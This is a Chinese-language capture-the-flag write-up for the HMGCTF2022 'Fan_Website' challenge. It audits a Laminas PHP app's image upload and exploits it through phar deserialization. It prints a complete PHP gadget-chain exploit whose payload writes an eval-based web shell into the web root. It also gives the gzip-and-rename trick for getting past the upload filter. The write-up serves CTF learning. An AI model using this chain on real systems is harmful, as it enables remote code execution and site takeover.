# [HMGCTF2022]Fan_Website

/www.zip 得到源码

审计代码发现题目有个 album 路由,并且控制器只有一个 /module/Album/src/Controller/AlbumController.php

image-20250226221514692

白名单只允许 jpg,jpeg,png 通过

image-20250226221546343

还不能用这些东西,HALT_COMPILER 就是 phar 反序列化,如果可以绕过的话,那就包是 phar 反序列化的

上网搜这个组件的漏洞发现了一个反序列化漏洞 https://xz.aliyun.com/t/8975,那就好说了,我们可以上传一个 phar 文件,然后删除文件调用 unlink 时触发反序列化。但是还得保证内容大于 3kb,所以在序列化时加了个 str_repeat (‘123’,1000000)

<?php 
namespace Laminas\View\Resolver{
	class TemplateMapResolver{
		protected $map = ["setBody"=>"system"];
	}
}
namespace Laminas\View\Renderer{
	class PhpRenderer{
		private $__helpers;
		function __construct(){
			$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
		}
	}
}
namespace Laminas\Log\Writer{
	abstract class AbstractWriter{}
	
	class Mail extends AbstractWriter{
		protected $eventsToMail = ["echo '<?php eval(\$_POST[1]);?>' > /var/www/public/a.php"];  								//  cmd  cmd cmd
		protected $subjectPrependText = null;
		protected $mail;
		function __construct(){
			$this->mail = new \Laminas\View\Renderer\PhpRenderer();
		}
	}
}
namespace Laminas\Log{
	class Logger{
		protected $writers;
		function __construct(){
			$this->writers = [new \Laminas\Log\Writer\Mail()];
		}
	}
}
namespace{
$a = new \Laminas\Log\Logger();
$phar = new Phar("shell.phar"); // 后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a); // 将自定义的 meta-data 存入 manifest
$phar->addFromString("a", str_repeat('123',1000000)); // 添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
}
?>

网上现成的链子,还得绕过 <? 和 HALT_CONPILER

image-20250226221847727

这个被删了,只能看看别人的转载了

# 绕过:通过把生成的 phar 文件 gzip 压缩,然后将后缀改成 png

上传后拿到文件路径

image-20250226222003150

再在这个路径删除文件

image-20250226222016034

用 phar:// 文件路径

phar:///var/www/public/img/35460c54a1654c247dc3a5ee0c630a47.jpg

出现如上报错就是发生了 phar 反序列化

image-20250226222143847

拿到 flag

flag{af6a3f7a-1ad5-4adb-8e30-c212a5f6423c}

参考链接:https://www.cnblogs.com/Article-kelp/p/16068372.html

https://xz.aliyun.com/news/8529?time__1311=Yq0x0Duiite7qGNqeeqBKD%3DKi%3D9pOOhbEbD&u_atoken=5d3133173cc9d43bb23af3e360487dd5&u_asig=1a0c399717405790997492244e0128

https://blog.csdn.net/miuzzx/article/details/123663551

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal